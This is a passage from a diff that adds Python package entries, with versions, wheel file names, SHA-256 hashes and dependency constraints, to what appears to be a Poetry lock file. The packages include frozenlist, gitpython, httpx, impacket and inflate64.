+ {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:3843f84a6c465a36559161e6c59dce2f2ac10943040c2fd021cfb70d58c4ad56"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:84610c1502b2461255b4c9b7d5e9c48052601a8957cd0aea6ec7a7a1e1fb9420"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:c21b9aa40e08e4f63a2f92ff3748e6b6c84d717d033c7b3438dd3123ee18f70e"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:efce6ae830831ab6a22b9b4091d411698145cb9b8fc869e1397ccf4b4b6455cb"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:40de71985e9042ca00b7953c4f41eabc3dc514a2d1ff534027f091bc74416401"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-win32.whl", hash = "sha256:180c00c66bde6146a860cbb81b54ee0df350d2daf13ca85b275123bbf85de18a"},
+ {file = "frozenlist-1.3.3-cp37-cp37m-win_amd64.whl", hash = "sha256:9bbbcedd75acdfecf2159663b87f1bb5cfc80e7cd99f7ddd9d66eb98b14a8411"},
+ {file = "frozenlist-1.3.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:034a5c08d36649591be1cbb10e09da9f531034acfe29275fc5454a3b101ce41a"},
+ {file = "frozenlist-1.3.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:ba64dc2b3b7b158c6660d49cdb1d872d1d0bf4e42043ad8d5006099479a194e5"},
+ {file = "frozenlist-1.3.3-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:47df36a9fe24054b950bbc2db630d508cca3aa27ed0566c0baf661225e52c18e"},
+ {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:008a054b75d77c995ea26629ab3a0c0d7281341f2fa7e1e85fa6153ae29ae99c"},
+ {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:841ea19b43d438a80b4de62ac6ab21cfe6827bb8a9dc62b896acc88eaf9cecba"},
+ {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e235688f42b36be2b6b06fc37ac2126a73b75fb8d6bc66dd632aa35286238703"},
+ {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ca713d4af15bae6e5d79b15c10c8522859a9a89d3b361a50b817c98c2fb402a2"},
+ {file = "frozenlist-1.3.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9ac5995f2b408017b0be26d4a1d7c61bce106ff3d9e3324374d66b5964325448"},
+ {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:a4ae8135b11652b08a8baf07631d3ebfe65a4c87909dbef5fa0cdde440444ee4"},
+ {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:4ea42116ceb6bb16dbb7d526e242cb6747b08b7710d9782aa3d6732bd8d27649"},
+ {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:810860bb4bdce7557bc0febb84bbd88198b9dbc2022d8eebe5b3590b2ad6c842"},
+ {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:ee78feb9d293c323b59a6f2dd441b63339a30edf35abcb51187d2fc26e696d13"},
+ {file = "frozenlist-1.3.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:0af2e7c87d35b38732e810befb9d797a99279cbb85374d42ea61c1e9d23094b3"},
+ {file = "frozenlist-1.3.3-cp38-cp38-win32.whl", hash = "sha256:899c5e1928eec13fd6f6d8dc51be23f0d09c5281e40d9cf4273d188d9feeaf9b"},
+ {file = "frozenlist-1.3.3-cp38-cp38-win_amd64.whl", hash = "sha256:7f44e24fa70f6fbc74aeec3e971f60a14dde85da364aa87f15d1be94ae75aeef"},
+ {file = "frozenlist-1.3.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:2b07ae0c1edaa0a36339ec6cce700f51b14a3fc6545fdd32930d2c83917332cf"},
+ {file = "frozenlist-1.3.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ebb86518203e12e96af765ee89034a1dbb0c3c65052d1b0c19bbbd6af8a145e1"},
+ {file = "frozenlist-1.3.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:5cf820485f1b4c91e0417ea0afd41ce5cf5965011b3c22c400f6d144296ccbc0"},
+ {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5c11e43016b9024240212d2a65043b70ed8dfd3b52678a1271972702d990ac6d"},
+ {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8fa3c6e3305aa1146b59a09b32b2e04074945ffcfb2f0931836d103a2c38f936"},
+ {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:352bd4c8c72d508778cf05ab491f6ef36149f4d0cb3c56b1b4302852255d05d5"},
+ {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:65a5e4d3aa679610ac6e3569e865425b23b372277f89b5ef06cf2cdaf1ebf22b"},
+ {file = "frozenlist-1.3.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b1e2c1185858d7e10ff045c496bbf90ae752c28b365fef2c09cf0fa309291669"},
+ {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:f163d2fd041c630fed01bc48d28c3ed4a3b003c00acd396900e11ee5316b56bb"},
+ {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:05cdb16d09a0832eedf770cb7bd1fe57d8cf4eaf5aced29c4e41e3f20b30a784"},
+ {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:8bae29d60768bfa8fb92244b74502b18fae55a80eac13c88eb0b496d4268fd2d"},
+ {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:eedab4c310c0299961ac285591acd53dc6723a1ebd90a57207c71f6e0c2153ab"},
+ {file = "frozenlist-1.3.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:3bbdf44855ed8f0fbcd102ef05ec3012d6a4fd7c7562403f76ce6a52aeffb2b1"},
+ {file = "frozenlist-1.3.3-cp39-cp39-win32.whl", hash = "sha256:efa568b885bca461f7c7b9e032655c0c143d305bf01c30caf6db2854a4532b38"},
+ {file = "frozenlist-1.3.3-cp39-cp39-win_amd64.whl", hash = "sha256:cfe33efc9cb900a4c46f91a5ceba26d6df370ffddd9ca386eb1d4f0ad97b9ea9"},
+ {file = "frozenlist-1.3.3.tar.gz", hash = "sha256:58bcc55721e8a90b88332d6cd441261ebb22342e238296bb330968952fbb3a6a"},
+]
+
+[[package]]
+name = "future"
+version = "0.18.3"
+description = "Clean single-source support for Python 3 and 2"
+optional = false
+python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*"
+files = [
+ {file = "future-0.18.3.tar.gz", hash = "sha256:34a17436ed1e96697a86f9de3d15a3b0be01d8bc8de9c1dffd59fb8234ed5307"},
+]
+
+[[package]]
+name = "gitdb"
+version = "4.0.10"
+description = "Git Object Database"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "gitdb-4.0.10-py3-none-any.whl", hash = "sha256:c286cf298426064079ed96a9e4a9d39e7f3e9bf15ba60701e95f5492f28415c7"},
+ {file = "gitdb-4.0.10.tar.gz", hash = "sha256:6eb990b69df4e15bad899ea868dc46572c3f75339735663b81de79b06f17eb9a"},
+]
+
+[package.dependencies]
+smmap = ">=3.0.1,<6"
+
+[[package]]
+name = "gitpython"
+version = "3.1.32"
+description = "GitPython is a Python library used to interact with Git repositories"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "GitPython-3.1.32-py3-none-any.whl", hash = "sha256:e3d59b1c2c6ebb9dfa7a184daf3b6dd4914237e7488a1730a6d8f6f5d0b4187f"},
+ {file = "GitPython-3.1.32.tar.gz", hash = "sha256:8d9b8cb1e80b9735e8717c9362079d3ce4c6e5ddeebedd0361b228c3a67a62f6"},
+]
+
+[package.dependencies]
+gitdb = ">=4.0.1,<5"
+
+[[package]]
+name = "h11"
+version = "0.14.0"
+description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "h11-0.14.0-py3-none-any.whl", hash = "sha256:e3fe4ac4b851c468cc8363d500db52c2ead036020723024a109d37346efaa761"},
+ {file = "h11-0.14.0.tar.gz", hash = "sha256:8f19fbbe99e72420ff35c00b27a34cb9937e902a8b810e2c88300c6f0a3b699d"},
+]
+
+[[package]]
+name = "httpcore"
+version = "0.16.3"
+description = "A minimal low-level HTTP client."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "httpcore-0.16.3-py3-none-any.whl", hash = "sha256:da1fb708784a938aa084bde4feb8317056c55037247c787bd7e19eb2c2949dc0"},
+ {file = "httpcore-0.16.3.tar.gz", hash = "sha256:c5d6f04e2fc530f39e0c077e6a30caa53f1451096120f1f38b954afd0b17c0cb"},
+]
+
+[package.dependencies]
+anyio = ">=3.0,<5.0"
+certifi = "*"
+h11 = ">=0.13,<0.15"
+sniffio = "==1.*"
+
+[package.extras]
+http2 = ["h2 (>=3,<5)"]
+socks = ["socksio (==1.*)"]
+
+[[package]]
+name = "httptools"
+version = "0.6.0"
+description = "A collection of framework independent HTTP protocol utils."
+optional = false
+python-versions = ">=3.5.0"
+files = [
+ {file = "httptools-0.6.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:818325afee467d483bfab1647a72054246d29f9053fd17cc4b86cda09cc60339"},
+ {file = "httptools-0.6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:72205730bf1be875003692ca54a4a7c35fac77b4746008966061d9d41a61b0f5"},
+ {file = "httptools-0.6.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:33eb1d4e609c835966e969a31b1dedf5ba16b38cab356c2ce4f3e33ffa94cad3"},
+ {file = "httptools-0.6.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6bdc6675ec6cb79d27e0575750ac6e2b47032742e24eed011b8db73f2da9ed40"},
+ {file = "httptools-0.6.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:463c3bc5ef64b9cf091be9ac0e0556199503f6e80456b790a917774a616aff6e"},
+ {file = "httptools-0.6.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:82f228b88b0e8c6099a9c4757ce9fdbb8b45548074f8d0b1f0fc071e35655d1c"},
+ {file = "httptools-0.6.0-cp310-cp310-win_amd64.whl", hash = "sha256:0781fedc610293a2716bc7fa142d4c85e6776bc59d617a807ff91246a95dea35"},
+ {file = "httptools-0.6.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:721e503245d591527cddd0f6fd771d156c509e831caa7a57929b55ac91ee2b51"},
+ {file = "httptools-0.6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:274bf20eeb41b0956e34f6a81f84d26ed57c84dd9253f13dcb7174b27ccd8aaf"},
+ {file = "httptools-0.6.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:259920bbae18740a40236807915def554132ad70af5067e562f4660b62c59b90"},
+ {file = "httptools-0.6.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:03bfd2ae8a2d532952ac54445a2fb2504c804135ed28b53fefaf03d3a93eb1fd"},
+ {file = "httptools-0.6.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:f959e4770b3fc8ee4dbc3578fd910fab9003e093f20ac8c621452c4d62e517cb"},
+ {file = "httptools-0.6.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:6e22896b42b95b3237eccc42278cd72c0df6f23247d886b7ded3163452481e38"},
+ {file = "httptools-0.6.0-cp311-cp311-win_amd64.whl", hash = "sha256:38f3cafedd6aa20ae05f81f2e616ea6f92116c8a0f8dcb79dc798df3356836e2"},
+ {file = "httptools-0.6.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:47043a6e0ea753f006a9d0dd076a8f8c99bc0ecae86a0888448eb3076c43d717"},
+ {file = "httptools-0.6.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:35a541579bed0270d1ac10245a3e71e5beeb1903b5fbbc8d8b4d4e728d48ff1d"},
+ {file = "httptools-0.6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:65d802e7b2538a9756df5acc062300c160907b02e15ed15ba035b02bce43e89c"},
+ {file = "httptools-0.6.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:26326e0a8fe56829f3af483200d914a7cd16d8d398d14e36888b56de30bec81a"},
+ {file = "httptools-0.6.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:e41ccac9e77cd045f3e4ee0fc62cbf3d54d7d4b375431eb855561f26ee7a9ec4"},
+ {file = "httptools-0.6.0-cp37-cp37m-win_amd64.whl", hash = "sha256:4e748fc0d5c4a629988ef50ac1aef99dfb5e8996583a73a717fc2cac4ab89932"},
+ {file = "httptools-0.6.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:cf8169e839a0d740f3d3c9c4fa630ac1a5aaf81641a34575ca6773ed7ce041a1"},
+ {file = "httptools-0.6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:5dcc14c090ab57b35908d4a4585ec5c0715439df07be2913405991dbb37e049d"},
+ {file = "httptools-0.6.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0d0b0571806a5168013b8c3d180d9f9d6997365a4212cb18ea20df18b938aa0b"},
+ {file = "httptools-0.6.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0fb4a608c631f7dcbdf986f40af7a030521a10ba6bc3d36b28c1dc9e9035a3c0"},
+ {file = "httptools-0.6.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:93f89975465133619aea8b1952bc6fa0e6bad22a447c6d982fc338fbb4c89649"},
+ {file = "httptools-0.6.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:73e9d66a5a28b2d5d9fbd9e197a31edd02be310186db423b28e6052472dc8201"},
+ {file = "httptools-0.6.0-cp38-cp38-win_amd64.whl", hash = "sha256:22c01fcd53648162730a71c42842f73b50f989daae36534c818b3f5050b54589"},
+ {file = "httptools-0.6.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:3f96d2a351b5625a9fd9133c95744e8ca06f7a4f8f0b8231e4bbaae2c485046a"},
+ {file = "httptools-0.6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:72ec7c70bd9f95ef1083d14a755f321d181f046ca685b6358676737a5fecd26a"},
+ {file = "httptools-0.6.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b703d15dbe082cc23266bf5d9448e764c7cb3fcfe7cb358d79d3fd8248673ef9"},
+ {file = "httptools-0.6.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:82c723ed5982f8ead00f8e7605c53e55ffe47c47465d878305ebe0082b6a1755"},
+ {file = "httptools-0.6.0-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:b0a816bb425c116a160fbc6f34cece097fd22ece15059d68932af686520966bd"},
+ {file = "httptools-0.6.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:dea66d94e5a3f68c5e9d86e0894653b87d952e624845e0b0e3ad1c733c6cc75d"},
+ {file = "httptools-0.6.0-cp39-cp39-win_amd64.whl", hash = "sha256:23b09537086a5a611fad5696fc8963d67c7e7f98cb329d38ee114d588b0b74cd"},
+ {file = "httptools-0.6.0.tar.gz", hash = "sha256:9fc6e409ad38cbd68b177cd5158fc4042c796b82ca88d99ec78f07bed6c6b796"},
+]
+
+[package.extras]
+test = ["Cython (>=0.29.24,<0.30.0)"]
+
+[[package]]
+name = "httpx"
+version = "0.23.3"
+description = "The next generation HTTP client."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "httpx-0.23.3-py3-none-any.whl", hash = "sha256:a211fcce9b1254ea24f0cd6af9869b3d29aba40154e947d2a07bb499b3e310d6"},
+ {file = "httpx-0.23.3.tar.gz", hash = "sha256:9818458eb565bb54898ccb9b8b251a28785dd4a55afbc23d0eb410754fe7d0f9"},
+]
+
+[package.dependencies]
+certifi = "*"
+httpcore = ">=0.15.0,<0.17.0"
+rfc3986 = {version = ">=1.3,<2", extras = ["idna2008"]}
+sniffio = "*"
+
+[package.extras]
+brotli = ["brotli", "brotlicffi"]
+cli = ["click (==8.*)", "pygments (==2.*)", "rich (>=10,<13)"]
+http2 = ["h2 (>=3,<5)"]
+socks = ["socksio (==1.*)"]
+
+[[package]]
+name = "idna"
+version = "3.4"
+description = "Internationalized Domain Names in Applications (IDNA)"
+optional = false
+python-versions = ">=3.5"
+files = [
+ {file = "idna-3.4-py3-none-any.whl", hash = "sha256:90b77e79eaa3eba6de819a0c442c0b4ceefc341a7a2ab77d7562bf49f425c5c2"},
+ {file = "idna-3.4.tar.gz", hash = "sha256:814f528e8dead7d329833b91c5faa87d60bf71824cd12a7530b5526063d02cb4"},
+]
+
+[[package]]
+name = "impacket"
+version = "0.10.0"
+description = "Network protocols Constructors and Dissectors"
+optional = false
+python-versions = "*"
+files = [
+ {file = "impacket-0.10.0.tar.gz", hash = "sha256:b8eb020a2cbb47146669cfe31c64bb2e7d6499d049c493d6418b9716f5c74583"},
+]
+
+[package.dependencies]
+chardet = "*"
+flask = ">=1.0"
+future = "*"
+ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
+ldapdomaindump = ">=0.9.0"
+pyasn1 = ">=0.2.3"
+pycryptodomex = "*"
+pyOpenSSL = ">=0.16.2"
+six = "*"
+
+[[package]]
+name = "inflate64"
+version = "0.3.1"
+description = "deflate64 compression/decompression library"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "inflate64-0.3.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d4e2a337c6c03b0e96ccd79940cbb04fe2063974d56fff6d78f8d57839546c57"},
+ {file = "inflate64-0.3.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7c142fbbbfbe0877fe821ff8bc4cc10f96d344b7400721579b3d17deeae28f59"},
+ {file = "inflate64-0.3.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:3a17e1dd1a5a872edfc02bc4a048868ada4865a3f4ee3ad5d224b192f2e53df7"},
+ {file = "inflate64-0.3.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3cf41f82dd4e90e8684c7be4583d7232bd800a561f3ed0241c84e39148861887"},
+ {file = "inflate64-0.3.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6059eaba5044739ad6424588e845bd856f89a1a18f1addc31b97c49f02f68728"},
+ {file = "inflate64-0.3.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5c5b2eb7e89d550d287774dea7d429ee24ce44ca34499a6cef113a14f108e700"},
+ {file = "inflate64-0.3.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:1d861fed6b2098d1862b64db9df650b9bd41fc41caa9fcaeee399079342aa4a8"},
+ {file = "inflate64-0.3.1-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e32a78c81afba5699569c3493066ecb38fb45ccdf4c35b3c2232c9c2585b5257"},
+ {file = "inflate64-0.3.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:42a6ef375b3e7059bd52993a0938f2bf97725cb5dc380f0c4dbaa9fc3780e025"},
+ {file = "inflate64-0.3.1-cp310-cp310-win32.whl", hash = "sha256:664929528047b6b472852a4c0d12b4b9cf6e663059ba64ebd10f08aa56365755"},
+ {file = "inflate64-0.3.1-cp310-cp310-win_amd64.whl", hash = "sha256:08c3b03514d4b849901762a32a45eeba7fd5d784fec698eca6975f41cca33672"},
+ {file = "inflate64-0.3.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:c71821f93c931ae379cf9c9bbdd7099738fa00802ccf2a5271e2b68bc67a6ab8"},
+ {file = "inflate64-0.3.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3bacbe9d4b7c185011b59268223a010ed777a28ed8cf40efc74fab1b7262e904"},
+ {file = "inflate64-0.3.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:130dfdca4bd38e588ea4f878bf62635e36f83ddf7f2842d1055d1c16a11890cf"},
+ {file = "inflate64-0.3.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:80a125dd5cb7b7985c05a78b0bfd7751249d0d84fc330901dbd9faa693e1f53f"},
+ {file = "inflate64-0.3.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:67efdfd21d7b99f30a43560b22264c1e580ff08ae9831e78c99445575962dbc7"},
+ {file = "inflate64-0.3.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ad84ac611eae17a961124c5fbe754b6982291a3945ab2b9c334a08e2e56f9ccc"},
+ {file = "inflate64-0.3.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:a1b481343f12641b1ae7a19135a70c44ecf020dccb670e02522c2b02db920851"},
+ {file = "inflate64-0.3.1-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:ad4cae5097bdff7e0bb1ab676d86ad08716597baa3b616e5b710a724f5d5cbc4"},
+ {file = "inflate64-0.3.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:906a4b57df32f903e847766ca685e44ed3e7ee3a960fa94264d5e68b836d446d"},
+ {file = "inflate64-0.3.1-cp311-cp311-win32.whl", hash = "sha256:0b0c8aa2fcdb1052d3bc6c5b5b1191b9c708d30e47af98ba0a8117ae1f6c9efc"},
+ {file = "inflate64-0.3.1-cp311-cp311-win_amd64.whl", hash = "sha256:473e0081c268ffa4b18683586b55170eb96d8b4fc684dd3ed9599c17c512d2e4"},
+ {file = "inflate64-0.3.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:9f6737a575c6e7e818963d95a998be4c91484374961734cee97265f3c4c3b979"},
+ {file = "inflate64-0.3.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3c913b679f023f5907a54bfa9a6e438407ed4e40eee23ed19b4118128bdd091c"},
+ {file = "inflate64-0.3.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:29946840e6970d68e7739207ca21140c59ffebe7e02d28c7e86348166ce32418"},
+ {file = "inflate64-0.3.1-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7ba954600441eafe8f6f54eadffeac4d1ab2416d5d1a6b0ab403e50284ba457b"},
+ {file = "inflate64-0.3.1-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:f2a4dac4ebc4ad58a4ac911e39cf97cd74906c0c82c16333887aa9f287e98d5b"},
+ {file = "inflate64-0.3.1-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:7b7966193f1bf23e050af72b4c4720dffa5f33471de7afea37ba0d0f0195adef"},
+ {file = "inflate64-0.3.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:7f8346e644de449a4a90dcb22971dea456398b6cc788102013675b11256ae47e"},
+ {file = "inflate64-0.3.1-cp37-cp37m-win32.whl", hash = "sha256:f39b57974db0e85897fff40518da420f4c4012b73515ca6f415a472228fea288"},
+ {file = "inflate64-0.3.1-cp37-cp37m-win_amd64.whl", hash = "sha256:74ceb9d172ce06572632bc8070d54b963455421e216013575383f991e722bb7d"},
+ {file = "inflate64-0.3.1-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:c28cb635ccb9aae399fbc8e82c85b89ea0a7bb2219e7d582bbc007a29fb6e149"},
+ {file = "inflate64-0.3.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:9297115bf144c585e9d6a746e851c64c81d8f1ce8b62da4885babe66c36f7d29"},
+ {file = "inflate64-0.3.1-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:a075b174bace5174828906c7c87019a2af3cc5707025f01ee0395fb4b88fd98e"},
+ {file = "inflate64-0.3.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:aa7476129e7f81e67a9253470c3085a9fd75ec77e6fae3de61f7795138ce725e"},
+ {file = "inflate64-0.3.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:35e24ffd8d6225fbfe26c524b45ace1bb8956811bd79e9f3d523a721d51b0d4e"},
+ {file = "inflate64-0.3.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:553cd992f02af574d2116c74ca48d7cf10894c6b9ba8159f488f3bfac3c201ae"},
+ {file = "inflate64-0.3.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:82393e46b8ba2f8613d030f38c7c492b0896ff8803f7ff870677f25d3e5e7113"},
+ {file = "inflate64-0.3.1-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:67e37d96ea2ee8257b12cde83a09e4f0276950268a7a2f777aee7de60db5ec72"},
+ {file = "inflate64-0.3.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:09dd0f8d6dee0da467c264dbd9bca8b33f9c915860fc3385f2a633640a65bd10"},
+ {file = "inflate64-0.3.1-cp38-cp38-win32.whl", hash = "sha256:26e8319fd032c520203e2c001f1693c1c03774d85915900427e884011718f41d"},
+ {file = "inflate64-0.3.1-cp38-cp38-win_amd64.whl", hash = "sha256:ab8f9e14ba6495f440101751ba8aa371e4a52941b5e343c6f3e8c61021e2df5e"},
+ {file = "inflate64-0.3.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:094ef56a87c7b7398d93af7bfe7f24f830f24b6e55b77426f6516cef43e05460"},
+ {file = "inflate64-0.3.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:48fd2527a462374dc19be06301d6aa30a03190532f2f8bddfbc39b7158561750"},
+ {file = "inflate64-0.3.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:fde3f85864c84badb26f42d95639360e627fd09c529a76c46a06dbd7a5735c51"},
+ {file = "inflate64-0.3.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5efd55c21b794601fd44b99b8e2f17498744f573116ce27a745bc5e08f0457e1"},
+ {file = "inflate64-0.3.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d71af8b23ac23bc9e9f776451c125be6320ad4589a7d5bcb5ab5e1fc61b4e58f"},
+ {file = "inflate64-0.3.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ced0af509a31dcba0cd98ecdd06cb7c9ce66ebde78e0d99ba3515d4e991e34d0"},
+ {file = "inflate64-0.3.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:853f3442eceda8035072686533694ab833c4293d10c9d0685147200f0e964356"},
+ {file = "inflate64-0.3.1-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:a6bec3d2f30f6f2656e1c5a4147181e401c8d7026cd598d86ad5647c616fc618"},
+ {file = "inflate64-0.3.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:84287d1d09fd879353d3ccadd43f3d8adea75e830476ddfd46d8849d36d25afe"},
+ {file = "inflate64-0.3.1-cp39-cp39-win32.whl", hash = "sha256:a2f4aaa02f9a5ada944960428b6528a0a9d773925efc73485882f34bf42654be"},
+ {file = "inflate64-0.3.1-cp39-cp39-win_amd64.whl", hash = "sha256:6ff89f94823b2466bae45759fc324bd25bd20c490607a7d8407237cf64ccafa9"},
+ {file = "inflate64-0.3.1-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:c1faf43890dbfff31195f5d59e37e49824f5ff4be77d67f7144a6b953bbde51c"},
